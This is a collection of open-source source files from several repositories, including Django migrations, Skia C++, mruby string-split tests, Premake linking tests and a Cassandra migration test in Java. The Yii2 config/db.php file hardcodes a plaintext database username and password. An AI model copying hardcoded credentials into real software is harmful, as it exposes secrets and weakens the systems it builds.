<< output.str(); }
bsd-3-clause
Candihub/pixel
apps/core/migrations/0002_auto_20171012_0855.py
1878
# -*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2017-10-12 08:55 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion import tagulous.models.fields class Migration(migrations.Migration): dependencies = [ ('core', '0001_initial'), ] operations = [ migrations.AddField( model_name='tag', name='label', field=models.CharField(default='', help_text='The name of the tag, without ancestors', max_length=255), preserve_default=False, ), migrations.AddField( model_name='tag', name='level', field=models.IntegerField(default=1, help_text='The level of the tag in the tree'), ), migrations.AddField( model_name='tag', name='parent', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='children', to='core.Tag'), ), migrations.AddField( model_name='tag', name='path', field=models.TextField(default=''), preserve_default=False, ), migrations.AlterField( model_name='analysis', name='tags', field=tagulous.models.fields.TagField(_set_tag_meta=True, force_lowercase=True, help_text='Enter a comma-separated tag string', to='core.Tag', tree=True), ), migrations.AlterField( model_name='experiment', name='tags', field=tagulous.models.fields.TagField(_set_tag_meta=True, force_lowercase=True, help_text='Enter a comma-separated tag string', to='core.Tag', tree=True), ), migrations.AlterUniqueTogether( name='tag', unique_together=set([('slug', 'parent')]), ), ]
bsd-3-clause
chenlian2015/skia_from_google
src/core/SkImageInfo.cpp
2443
/* * Copyright 2010 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "SkImageInfo.h" #include "SkReadBuffer.h" #include "SkWriteBuffer.h" static bool profile_type_is_valid(SkColorProfileType profileType) { return (profileType >= 0) && (profileType <= kLastEnum_SkColorProfileType); } static bool alpha_type_is_valid(SkAlphaType alphaType) { return (alphaType >= 0) && (alphaType <= kLastEnum_SkAlphaType); } static bool color_type_is_valid(SkColorType colorType) { return (colorType >= 0) && (colorType <= kLastEnum_SkColorType); } void SkImageInfo::unflatten(SkReadBuffer& buffer) { fWidth = buffer.read32(); fHeight = buffer.read32(); uint32_t packed = buffer.read32(); SkASSERT(0 == (packed >> 24)); fProfileType = (SkColorProfileType)((packed >> 16) & 0xFF); fAlphaType = (SkAlphaType)((packed >> 8) & 0xFF); fColorType = (SkColorType)((packed >> 0) & 0xFF); buffer.validate(profile_type_is_valid(fProfileType) && alpha_type_is_valid(fAlphaType) && color_type_is_valid(fColorType)); } void SkImageInfo::flatten(SkWriteBuffer& buffer) const { buffer.write32(fWidth); buffer.write32(fHeight); SkASSERT(0 == (fProfileType & ~0xFF)); SkASSERT(0 == (fAlphaType & ~0xFF)); SkASSERT(0 == (fColorType & ~0xFF)); uint32_t packed = (fProfileType << 16) | (fAlphaType << 8) | fColorType; buffer.write32(packed); } bool SkColorTypeValidateAlphaType(SkColorType colorType, SkAlphaType alphaType, SkAlphaType* canonical) { switch (colorType) { case kUnknown_SkColorType: alphaType = kIgnore_SkAlphaType; break; case kAlpha_8_SkColorType: if (kUnpremul_SkAlphaType == alphaType) { alphaType = kPremul_SkAlphaType; } // fall-through case kIndex_8_SkColorType: case kARGB_4444_SkColorType: case kRGBA_8888_SkColorType: case kBGRA_8888_SkColorType: if (kIgnore_SkAlphaType == alphaType) { return false; } break; case kRGB_565_SkColorType: alphaType = kOpaque_SkAlphaType; break; default: return false; } if (canonical) { *canonical = alphaType; } return true; }
bsd-3-clause
DrrDom/crem
crem/__init__.py
379
#!/usr/bin/env python3 #============================================================================== # author : Pavel Polishchuk # date : 14-08-2019 # version : # python_version : # copyright : Pavel Polishchuk 2019 # license : #============================================================================== __version__ = "0.2.9"
bsd-3-clause
K4lx4s/yii2bank
config/db.php
202
<?php return [ 'class' => 'yii\db\Connection', 'dsn' => 'mysql:host=localhost;dbname=yii2bank', 'username' => 'bankadmin', 'password' => '0Filfn6BcjvvgHy6', 'charset' => 'utf8', ];
bsd-3-clause
mrubyc/mrubyc
test/string_split_test.rb
4453
# frozen_string_literal: true class StringSplitTest < MrubycTestCase # # Regex not supprted. # description "Sring" def string_case assert_equal ["a","b","c"], "a,b,c".split(",") assert_equal ["a","","b","c"], "a,,b,c".split(",") assert_equal ["a","b:c","d"], "a::b:c::d".split("::") assert_equal ["a","b:c","d:"], "a::b:c::d:".split("::") assert_equal ["a","b:c","d"], "a::b:c::d::".split("::") assert_equal ["a", "b:c", "d", ":"], "a::b:c::d:::".split("::") end description "space" def space_case assert_equal ["a", "b", "c"], " a \t b \n c\r\n".split(" ") assert_equal ["a", "b", "c"], "a \t b \n c\r\n".split(" ") assert_equal ["a", "b", "c"], " a \t b \n c".split(" ") assert_equal ["a", "b", "c"], "a \t b \n c".split(" ") assert_equal ["aa", "bb", "cc"], " aa bb cc ".split(" ") assert_equal ["aa", "bb", "cc"], "aa bb cc ".split(" ") assert_equal ["aa", "bb", "cc"], " aa bb cc".split(" ") assert_equal ["aa", "bb", "cc"], "aa bb cc".split(" ") end description "nil" def nil_case assert_equal ["a", "b", "c"], " a \t b \n c".split() assert_equal ["a", "b", "c"], " a \t b \n c".split(nil) end description "empty string" def empty_string_case assert_equal [" ", " ", " ", "a", " ", "\t", " ", " ", "b", " ", "\n", " ", " ", "c"], " a \t b \n c".split("") end description "limit" def limit_case assert_equal ["a", "b", "", "c"], "a,b,,c,,".split(",", 0) assert_equal ["a,b,,c,,"], "a,b,,c,,".split(",", 1) assert_equal ["a", "b,,c,,"], "a,b,,c,,".split(",", 2) assert_equal ["a", "b", ",c,,"], "a,b,,c,,".split(",", 3) assert_equal ["a", "b", "", "c,,"], "a,b,,c,,".split(",", 4) assert_equal ["a", "b", "", "c", ","], "a,b,,c,,".split(",", 5) assert_equal ["a", "b", "", "c", "", ""], "a,b,,c,,".split(",", 6) assert_equal ["a", "b", "", "c", "", ""], "a,b,,c,,".split(",", 7) assert_equal ["a", "b", "", "c", "", ""], "a,b,,c,,".split(",", -1) assert_equal ["a", "b", "", "c", "", ""], "a,b,,c,,".split(",", -2) assert_equal ["aa", "bb", "cc"], " aa bb cc ".split(" ", 0) assert_equal [" aa bb cc "], " aa bb cc ".split(" ", 1) assert_equal ["aa", "bb cc "], " aa bb cc ".split(" ", 2) assert_equal ["aa", "bb", "cc "], " aa bb cc ".split(" ", 3) assert_equal ["aa", "bb", "cc", ""], " aa bb cc ".split(" ", 4) assert_equal ["aa", "bb", "cc", ""], " aa bb cc ".split(" ", 5) assert_equal ["aa", "bb", "cc", ""], " aa bb cc ".split(" ",-1) assert_equal ["aa", "bb", "cc"], "aa bb cc".split(" ", 0) assert_equal ["aa bb cc"], "aa bb cc".split(" ", 1) assert_equal ["aa", "bb cc"], "aa bb cc".split(" ", 2) assert_equal ["aa", "bb", "cc"], "aa bb cc".split(" ", 3) assert_equal ["aa", "bb", "cc"], "aa bb cc".split(" ", 4) assert_equal ["aa", "bb", "cc"], "aa bb cc".split(" ",-1) end description "empty source" def empty_source_case assert_equal [], "".split(",") assert_equal [], "".split(",", 0) assert_equal [], "".split(",", 1) assert_equal [], "".split(",",-1) assert_equal [], "".split("") assert_equal [], "".split("", 0) assert_equal [], "".split("", 1) assert_equal [], "".split("",-1) assert_equal [], "".split(" ") assert_equal [], "".split(" ", 0) assert_equal [], "".split(" ", 1) assert_equal [], "".split(" ",-1) end description "delimiter only" def delimiter_only_case assert_equal [], ",".split(",") assert_equal [], ",".split(",", 0) assert_equal [","], ",".split(",", 1) assert_equal ["",""], ",".split(",",-1) assert_equal [], ",,".split(",") assert_equal [], ",,".split(",", 0) assert_equal [",,"], ",,".split(",", 1) assert_equal ["","",""],",,".split(",",-1) assert_equal [], " ".split(" ") assert_equal [], " ".split(" ", 0) assert_equal [" "], " ".split(" ", 1) assert_equal [""], " ".split(" ",-1) assert_equal [], " ".split(" ") assert_equal [], " ".split(" ", 0) assert_equal [" "], " ".split(" ", 1) assert_equal [""], " ".split(" ",-1) end end
bsd-3-clause
patrick-luethi/Envision
OOInteraction/src/string_offset_providers/Cell.cpp
2984
/*********************************************************************************************************************** ** ** Copyright (c) 2011, 2014 ETH Zurich ** All rights reserved. ** ** Redistribution and use in source and binary forms, with or without modification, are permitted provided that the ** following conditions are met: ** ** * Redistributions of source code must retain the above copyright notice, this list of conditions and the ** following disclaimer. ** * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the ** following disclaimer in the documentation and/or other materials provided with the distribution. ** * Neither the name of the ETH Zurich nor the names of its contributors may be used to endorse or promote products ** derived from this software without specific prior written permission. ** ** ** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, ** INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ** DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ** SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ** **********************************************************************************************************************/ #include "Cell.h" namespace OOInteraction { Cell::Cell(int x, Visualization::Item* item, int stringComponentsStart, int stringComponentsEnd) : Cell(x, 0, 1, 1, item, stringComponentsStart, stringComponentsEnd) {} Cell::Cell(int x, int y, Visualization::Item* item, int stringComponentsStart, int stringComponentsEnd) : Cell(x, y, 1, 1, item, stringComponentsStart, stringComponentsEnd) {} Cell::Cell(int x, int y, int width, int height, Visualization::Item* item, int stringComponentsStart, int stringComponentsEnd) : region_(x, y, width, height), item_(item), stringComponentsStart_(stringComponentsStart), stringComponentsEnd_(stringComponentsEnd < 0 ? stringComponentsStart : stringComponentsEnd) { } Cell::~Cell() { } int Cell::offset(const QStringList& allComponents, Qt::Key key, int* length) { int l = 0; for (int i = stringComponentsStart(); i <= stringComponentsEnd(); ++i) l += allComponents[i].length(); if (length) *length = l; return StringOffsetProvider::itemOffset(item(), l, key); } void Cell::setOffset(int newOffset) { StringOffsetProvider::setOffsetInItem(newOffset, item()); } } /* namespace OOInteraction */
bsd-3-clause
peterlei/fboss
fboss/qsfp_service/platforms/wedge/GalaxyManager.h
619
#pragma once #include "fboss/lib/usb/WedgeI2CBus.h" #include "fboss/qsfp_service/platforms/wedge/WedgeManager.h" namespace facebook { namespace fboss { class GalaxyManager : public WedgeManager { public: GalaxyManager(); ~GalaxyManager() override {} // This is the front panel ports count int getNumQsfpModules() override { return 16; } private: // Forbidden copy constructor and assignment operator GalaxyManager(GalaxyManager const &) = delete; GalaxyManager& operator=(GalaxyManager const &) = delete; protected: std::unique_ptr<BaseWedgeI2CBus> getI2CBus() override; }; }} // facebook::fboss
bsd-3-clause
EKT/pyrundeck
pyrundeck/exceptions.py
1781
# Copyright (c) 2015, National Documentation Centre (EKT, www.ekt.gr) # All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in # the documentation and/or other materials provided with the # distribution. # Neither the name of the National Documentation Centre nor the # names of its contributors may be used to endorse or promote # products derived from this software without specific prior written # permission. # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. __author__ = 'kutsurak' class RundeckException(Exception): def __init__(self, *args, **kwargs): super(RundeckException, self).__init__(*args, **kwargs)
bsd-3-clause
Blizzard/premake-core
modules/gmake2/tests/test_gmake2_linking.lua
5900
-- -- test_gmake2_linking.lua -- Validate the link step generation for makefiles. -- (c) 2016-2017 Jason Perkins, Blizzard Entertainment and the Premake project -- local suite = test.declare("gmake2_linking") local p = premake local gmake2 = p.modules.gmake2 local project = p.project -- -- Setup and teardown -- local wks, prj function suite.setup() _OS = "linux" wks, prj = test.createWorkspace() end local function prepare(calls) local cfg = test.getconfig(prj, "Debug") local toolset = p.tools.gcc p.callarray(gmake2.cpp, calls, cfg, toolset) end -- -- Check link command for a shared C++ library. -- function suite.links_onCppSharedLib() kind "SharedLib" prepare { "ldFlags", "linkCmd" } test.capture [[ ALL_LDFLAGS += $(LDFLAGS) -shared -Wl,-soname=libMyProject.so -s LINKCMD = $(CXX) -o "$@" $(OBJECTS) $(RESOURCES) $(ALL_LDFLAGS) $(LIBS) ]] end function suite.links_onMacOSXCppSharedLib() _OS = "macosx" kind "SharedLib" prepare { "ldFlags", "linkCmd" } test.capture [[ ALL_LDFLAGS += $(LDFLAGS) -dynamiclib -Wl,-install_name,@rpath/libMyProject.dylib -Wl,-x LINKCMD = $(CXX) -o "$@" $(OBJECTS) $(RESOURCES) $(ALL_LDFLAGS) $(LIBS) ]] end -- -- Check link command for a shared C library. -- function suite.links_onCSharedLib() language "C" kind "SharedLib" prepare { "ldFlags", "linkCmd" } test.capture [[ ALL_LDFLAGS += $(LDFLAGS) -shared -Wl,-soname=libMyProject.so -s LINKCMD = $(CC) -o "$@" $(OBJECTS) $(RESOURCES) $(ALL_LDFLAGS) $(LIBS) ]] end -- -- Check link command for a static library. -- function suite.links_onStaticLib() kind "StaticLib" prepare { "ldFlags", "linkCmd" } test.capture [[ ALL_LDFLAGS += $(LDFLAGS) -s LINKCMD = $(AR) -rcs "$@" $(OBJECTS) ]] end -- -- Check link command for the Utility kind. -- -- Utility projects should only run custom commands, and perform no linking. -- function suite.links_onUtility() kind "Utility" prepare { "linkCmd" } test.capture [[ LINKCMD = ]] end -- -- Check link command for a Mac OS X universal static library. -- function suite.links_onMacUniversalStaticLib() architecture "universal" kind "StaticLib" prepare { "ldFlags", "linkCmd" } test.capture [[ ALL_LDFLAGS += $(LDFLAGS) -s LINKCMD = libtool -o "$@" $(OBJECTS) ]] end -- -- Check a linking to a sibling static library. -- function suite.links_onSiblingStaticLib() links "MyProject2" test.createproject(wks) kind "StaticLib" location "build" prepare { "ldFlags", "libs", "ldDeps" } test.capture [[ ALL_LDFLAGS += $(LDFLAGS) -s LIBS += build/bin/Debug/libMyProject2.a LDDEPS += build/bin/Debug/libMyProject2.a ]] end -- -- Check a linking to a sibling shared library. -- function suite.links_onSiblingSharedLib() links "MyProject2" test.createproject(wks) kind "SharedLib" location "build" prepare { "ldFlags", "libs", "ldDeps" } test.capture [[ ALL_LDFLAGS += $(LDFLAGS) -s LIBS += build/bin/Debug/libMyProject2.so LDDEPS += build/bin/Debug/libMyProject2.so ]] end -- -- Check a linking to a sibling shared library using -l and -L. -- function suite.links_onSiblingSharedLib() links "MyProject2" flags { "RelativeLinks" } test.createproject(wks) kind "SharedLib" location "build" prepare { "ldFlags", "libs", "ldDeps" } test.capture [[ ALL_LDFLAGS += $(LDFLAGS) -Lbuild/bin/Debug -Wl,-rpath,'$$ORIGIN/../../build/bin/Debug' -s LIBS += -lMyProject2 LDDEPS += build/bin/Debug/libMyProject2.so ]] end function suite.links_onMacOSXSiblingSharedLib() _OS = "macosx" links "MyProject2" flags { "RelativeLinks" } test.createproject(wks) kind "SharedLib" location "build" prepare { "ldFlags", "libs", "ldDeps" } test.capture [[ ALL_LDFLAGS += $(LDFLAGS) -Lbuild/bin/Debug -Wl,-rpath,'@loader_path/../../build/bin/Debug' -Wl,-x LIBS += -lMyProject2 LDDEPS += build/bin/Debug/libMyProject2.dylib ]] end -- -- Check a linking multiple siblings. -- function suite.links_onMultipleSiblingStaticLib() links "MyProject2" links "MyProject3" test.createproject(wks) kind "StaticLib" location "build" test.createproject(wks) kind "StaticLib" location "build" prepare { "ldFlags", "libs", "ldDeps" } test.capture [[ ALL_LDFLAGS += $(LDFLAGS) -s LIBS += build/bin/Debug/libMyProject2.a build/bin/Debug/libMyProject3.a LDDEPS += build/bin/Debug/libMyProject2.a build/bin/Debug/libMyProject3.a ]] end -- -- Check a linking multiple siblings with link groups enabled. -- function suite.links_onSiblingStaticLibWithLinkGroups() links "MyProject2" links "MyProject3" linkgroups "On" test.createproject(wks) kind "StaticLib" location "build" test.createproject(wks) kind "StaticLib" location "build" prepare { "ldFlags", "libs", "ldDeps" } test.capture [[ ALL_LDFLAGS += $(LDFLAGS) -s LIBS += -Wl,--start-group build/bin/Debug/libMyProject2.a build/bin/Debug/libMyProject3.a -Wl,--end-group LDDEPS += build/bin/Debug/libMyProject2.a build/bin/Debug/libMyProject3.a ]] end -- -- When referencing an external library via a path, the directory -- should be added to the library search paths, and the library -- itself included via an -l flag. -- function suite.onExternalLibraryWithPath() location "MyProject" links { "libs/SomeLib" } prepare { "ldFlags", "libs" } test.capture [[ ALL_LDFLAGS += $(LDFLAGS) -L../libs -s LIBS += ../libs/SomeLib ]] end -- -- When referencing an external library with a period in the -- file name make sure it appears correctly in the LIBS -- directive. Currently the period and everything after it -- is stripped -- function suite.onExternalLibraryWithPath2() location "MyProject" links { "libs/SomeLib-1.1" } prepare { "libs", } test.capture [[ LIBS += ../libs/SomeLib-1.1 ]] end
bsd-3-clause
exponent/exponent
packages/expo-barcode-scanner/ios/EXBarCodeScanner/EXBarCodeScanner.h
684
// Copyright 2016-present 650 Industries. All rights reserved. #import <Foundation/Foundation.h> #import <AVFoundation/AVFoundation.h> #import <UMBarCodeScannerInterface/UMBarCodeScannerInterface.h> @interface EXBarCodeScanner : NSObject <UMBarCodeScannerInterface> - (void)setSession:(AVCaptureSession *)session; - (void)setSessionQueue:(dispatch_queue_t)sessionQueue; - (void)setOnBarCodeScanned:(void (^)(NSDictionary *))onBarCodeScanned; - (void)setIsEnabled:(BOOL)enabled; - (void)setSettings:(NSDictionary<NSString *, id> *)settings; - (void)setPreviewLayer:(AVCaptureVideoPreviewLayer *)previewLayer; - (void)maybeStartBarCodeScanning; - (void)stopBarCodeScanning; @end
bsd-3-clause
Ecpy/ecpy_pulses
exopy_pulses/testing/context.py
1203
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # Copyright 2015-2018 by ExopyPulses Authors, see AUTHORS for more details. # # Distributed under the terms of the BSD license. # # The full license is in the file LICENCE, distributed with this software. # ----------------------------------------------------------------------------- """Sequence context used for testing. """ from atom.api import Float, set_default from exopy_pulses.pulses.contexts.base_context import BaseContext class DummyContext(BaseContext): """Context limited to testing purposes. """ logical_channels = set_default(('Ch1_L', 'Ch2_L')) analogical_channels = set_default(('Ch1_A', 'Ch2_A')) sampling = Float(1.0) def compile_and_transfer_sequence(self, sequence, driver=None): """Simply evaluate and simplify the underlying sequence. """ items, errors = self.preprocess_sequence(sequence) if not items: return False, {}, errors return True, {'test': True}, {} def list_sequence_infos(self): return {'test': False} def _get_sampling_time(self): return self.sampling
bsd-3-clause
sky-uk/cqlmigrate
src/test/java/uk/sky/cqlmigrate/CqlMigratorConsistencyLevelIntegrationTest.java
12518
package uk.sky.cqlmigrate; import com.datastax.oss.driver.api.core.ConsistencyLevel; import com.datastax.oss.simulacron.common.cluster.ClusterSpec; import com.datastax.oss.simulacron.common.cluster.DataCenterSpec; import com.datastax.oss.simulacron.common.cluster.QueryLog; import com.datastax.oss.simulacron.common.cluster.RequestPrime; import com.datastax.oss.simulacron.common.request.Query; import com.datastax.oss.simulacron.common.result.SuccessResult; import com.datastax.oss.simulacron.common.stubbing.Prime; import com.datastax.oss.simulacron.common.stubbing.PrimeDsl; import com.datastax.oss.simulacron.server.BoundCluster; import com.datastax.oss.simulacron.server.Server; import com.google.common.collect.ImmutableMap; import com.google.common.collect.Lists; import org.apache.cassandra.exceptions.ConfigurationException; import org.junit.*; import uk.sky.cqlmigrate.util.PortScavenger; import java.net.Inet4Address; import java.net.InetSocketAddress; import java.net.URISyntaxException; import java.net.UnknownHostException; import java.nio.file.Path; import java.nio.file.Paths; import java.util.*; import java.util.stream.Collectors; import static com.datastax.oss.simulacron.common.stubbing.PrimeDsl.*; import static java.lang.String.valueOf; import static java.util.Arrays.asList; import static org.assertj.core.api.Assertions.assertThat; public class CqlMigratorConsistencyLevelIntegrationTest { private static final String CLIENT_ID = UUID.randomUUID().toString(); private static final int defaultStartingPort = PortScavenger.getFreePort(); private static final Server server = Server.builder().build(); private static final ClusterSpec clusterSpec = ClusterSpec.builder().build(); private static final String username = "cassandra"; private static final String password = "cassandra"; private static final String TEST_KEYSPACE = "cqlmigrate_test"; private static final String LOCAL_DC = "DC1"; private Collection<Path> cqlPaths; private static BoundCluster cluster; private final CassandraLockConfig lockConfig = CassandraLockConfig.builder().build(); @BeforeClass public static void classSetup() throws UnknownHostException { DataCenterSpec dc = clusterSpec.addDataCenter().withName("DC1").withCassandraVersion("3.11").build(); dc.addNode() .withAddress(new InetSocketAddress(Inet4Address.getByAddress(new byte[]{127, 0, 0, 1}), defaultStartingPort)) .withPeerInfo("host_id", UUID.randomUUID()) .build(); cluster = server.register(clusterSpec); cluster.prime(when("select cluster_name from system.local where key = 'local'") .then(rows().row("cluster_name", "0").build())); } @Before public void baseSetup() throws Exception { cluster.clearPrimes(true); cluster.clearLogs(); setupKeyspace(TEST_KEYSPACE); initialiseLockTable(); } @AfterClass public static void destroy() { cluster.close(); server.close(); } public void initialiseLockTable() throws ConfigurationException, URISyntaxException { cqlPaths = asList(getResourcePath("cql_bootstrap"), getResourcePath("cql_consistency_level")); cluster.prime(when("select cluster_name from system.local where key = 'local'") .then(rows().row("cluster_name", "0").build())); cluster.prime(primeInsertQuery(TEST_KEYSPACE, lockConfig.getClientId(), true)); cluster.prime(primeDeleteQuery(TEST_KEYSPACE, lockConfig.getClientId(), true, UUID.randomUUID().toString())); } private Path getResourcePath(String resourcePath) throws URISyntaxException { return Paths.get(ClassLoader.getSystemResource(resourcePath).toURI()); } @Test public void shouldApplyCorrectDefaultConsistencyLevelsConfiguredForUnderlyingQueries() throws Exception { //arrange ConsistencyLevel expectedDefaultReadConsistencyLevel = ConsistencyLevel.LOCAL_ONE; ConsistencyLevel expectedDefaultWriteConsistencyLevel = ConsistencyLevel.ALL; CqlMigrator migrator = CqlMigratorFactory.create(lockConfig); //act executeMigration(migrator, cqlPaths); //assert assertStatementsExecuteWithExpectedConsistencyLevels(expectedDefaultReadConsistencyLevel, expectedDefaultWriteConsistencyLevel); } private void executeMigration(CqlMigrator migrator, Collection<Path> cqlPaths) { String[] hosts = new String[]{"localhost"}; migrator.migrate(hosts, LOCAL_DC, defaultStartingPort, username, password, TEST_KEYSPACE, cqlPaths); } @Test public void shouldApplyCorrectCustomisedConsistencyLevelsConfiguredForUnderlyingQueries() throws Exception { //arrange ConsistencyLevel expectedReadConsistencyLevel = ConsistencyLevel.LOCAL_QUORUM; ConsistencyLevel expectedWriteConsistencyLevel = ConsistencyLevel.EACH_QUORUM; CqlMigrator migrator = CqlMigratorFactory.create(CqlMigratorConfig.builder() .withLockConfig(lockConfig) .withReadConsistencyLevel(expectedReadConsistencyLevel) .withWriteConsistencyLevel(expectedWriteConsistencyLevel) .build() ); //act executeMigration(migrator, cqlPaths); //assert assertStatementsExecuteWithExpectedConsistencyLevels(expectedReadConsistencyLevel, expectedWriteConsistencyLevel); } private static com.datastax.oss.simulacron.common.codec.ConsistencyLevel toSimulacronConsistencyLevel(ConsistencyLevel driverConsistencyLevel) { return com.datastax.oss.simulacron.common.codec.ConsistencyLevel.fromString(driverConsistencyLevel.toString()); } private void assertStatementsExecuteWithExpectedConsistencyLevels(ConsistencyLevel expectedReadConsistencyLevel, ConsistencyLevel expectedWriteConsistencyLevel) { //bootstrap.cql is already "applied" as we are priming cassandra to pretend it already has the keyspace //ensure that schema updates are applied at configured consistency level List<QueryLog> queryLogs = cluster.getLogs().getQueryLogs().stream() .filter(queryLog -> queryLog.getFrame().message.toString().contains("CREATE TABLE consistency_test (column1 text primary key, column2 text)")) .filter(queryLog -> queryLog.getConsistency().equals(toSimulacronConsistencyLevel(expectedWriteConsistencyLevel))) .collect(Collectors.toList()); assertThat(queryLogs.size()).isEqualTo(1); // ensure that any reads from schema updates are read at the configured consistency level queryLogs = cluster.getLogs().getQueryLogs().stream() .filter(queryLog -> queryLog.getFrame().message.toString().contains("SELECT * FROM cqlmigrate_test.schema_updates where filename = ?")) .filter(queryLog -> queryLog.getConsistency().equals(toSimulacronConsistencyLevel(expectedReadConsistencyLevel))) .collect(Collectors.toList()); assertThat(queryLogs.size()).isEqualTo(1); //ensure that any inserts into schema updates are done at the configured consistency level queryLogs = cluster.getLogs().getQueryLogs().stream() .filter(queryLog -> queryLog.getFrame().message.toString().contains("INSERT INTO schema_updates (filename, checksum, applied_on) VALUES (?, ?, dateof(now()));")) .filter(queryLog -> queryLog.getConsistency().equals(toSimulacronConsistencyLevel(expectedWriteConsistencyLevel))) .collect(Collectors.toList()); assertThat(queryLogs.size()).isEqualTo(1); //ensure that use keyspace is done at the configured consistency level queryLogs = cluster.getLogs().getQueryLogs().stream() .filter(queryLog -> queryLog.getFrame().message.toString().contains("USE cqlmigrate_test;")) .filter(queryLog -> queryLog.getConsistency().equals(toSimulacronConsistencyLevel(expectedReadConsistencyLevel))) .collect(Collectors.toList()); assertThat(queryLogs.size()).isGreaterThanOrEqualTo(1); //ensure that create schema_updates table is done at the configured consistency level queryLogs = cluster.getLogs().getQueryLogs().stream() .filter(queryLog -> queryLog.getFrame().message.toString().contains("CREATE TABLE schema_updates (filename text primary key, checksum text, applied_on timestamp);")) .filter(queryLog -> queryLog.getConsistency().equals(toSimulacronConsistencyLevel(expectedWriteConsistencyLevel))) .collect(Collectors.toList()); assertThat(queryLogs.size()).isEqualTo(1); } private static PrimeDsl.PrimeBuilder primeInsertQuery(String lockName, String clientId, boolean lockApplied) { String prepareInsertQuery = "INSERT INTO cqlmigrate.locks (name, client) VALUES (?, ?) IF NOT EXISTS"; PrimeDsl.PrimeBuilder primeBuilder = when(query( prepareInsertQuery, Lists.newArrayList( com.datastax.oss.simulacron.common.codec.ConsistencyLevel.ONE, com.datastax.oss.simulacron.common.codec.ConsistencyLevel.ALL), new LinkedHashMap<>(ImmutableMap.of("name", lockName + ".schema_migration", "client", clientId)), new LinkedHashMap<>(ImmutableMap.of("name", "varchar", "client", "varchar")))) .then(rows().row( "[applied]", valueOf(lockApplied), "client", CLIENT_ID).columnTypes("[applied]", "boolean", "clientid", "varchar") ); return primeBuilder; } private static PrimeDsl.PrimeBuilder primeDeleteQuery(String lockName, String clientId, boolean lockApplied, String lockHoldingClient) { String deleteQuery = "DELETE FROM cqlmigrate.locks WHERE name = ? IF client = ?"; PrimeDsl.PrimeBuilder primeBuilder = when(query( deleteQuery, Lists.newArrayList( com.datastax.oss.simulacron.common.codec.ConsistencyLevel.ONE, com.datastax.oss.simulacron.common.codec.ConsistencyLevel.ALL), new LinkedHashMap<>(ImmutableMap.of("name", lockName + ".schema_migration", "client", clientId)), new LinkedHashMap<>(ImmutableMap.of("name", "varchar", "client", "varchar")))) .then(rows() .row("[applied]", valueOf(lockApplied), "client", lockHoldingClient).columnTypes("[applied]", "boolean", "clientid", "varchar")); return primeBuilder; } private void setupKeyspace(String keyspaceName) { BoundCluster simulacron = cluster; Map<String, String> keyspaceColumns = ImmutableMap.of( "keyspace_name", "varchar", "durable_writes", "boolean", "replication", "map<varchar, varchar>"); List<LinkedHashMap<String, Object>> allKeyspacesRows = new ArrayList<>(); LinkedHashMap<String, Object> keyspaceRow = new LinkedHashMap<>(); keyspaceRow.put("keyspace_name", keyspaceName); keyspaceRow.put("durable_writes", true); keyspaceRow.put( "replication", ImmutableMap.of( "class", "org.apache.cassandra.locator.SimpleStrategy", "replication_factor", "1")); allKeyspacesRows.add(keyspaceRow); // prime the query the driver issues when fetching a single keyspace Query whenSelectKeyspace = new Query("SELECT * FROM system_schema.keyspaces WHERE keyspace_name = '" + keyspaceName + '\''); SuccessResult thenReturnKeyspace = new SuccessResult(Collections.singletonList(new LinkedHashMap<>(keyspaceRow)), new LinkedHashMap<>(keyspaceColumns)); RequestPrime primeKeyspace = new RequestPrime(whenSelectKeyspace, thenReturnKeyspace); simulacron.prime(new Prime(primeKeyspace)); // prime the query the driver issues when fetching all keyspaces Query whenSelectAllKeyspaces = new Query("SELECT * FROM system_schema.keyspaces"); SuccessResult thenReturnAllKeyspaces = new SuccessResult(allKeyspacesRows, new LinkedHashMap<>(keyspaceColumns)); RequestPrime primeAllKeyspaces = new RequestPrime(whenSelectAllKeyspaces, thenReturnAllKeyspaces); simulacron.prime(new Prime(primeAllKeyspaces)); } }
bsd-3-clause
afntoninho/trampo
module/Application/tests/src/Application/Controller/IndexControllerTest.php
4501
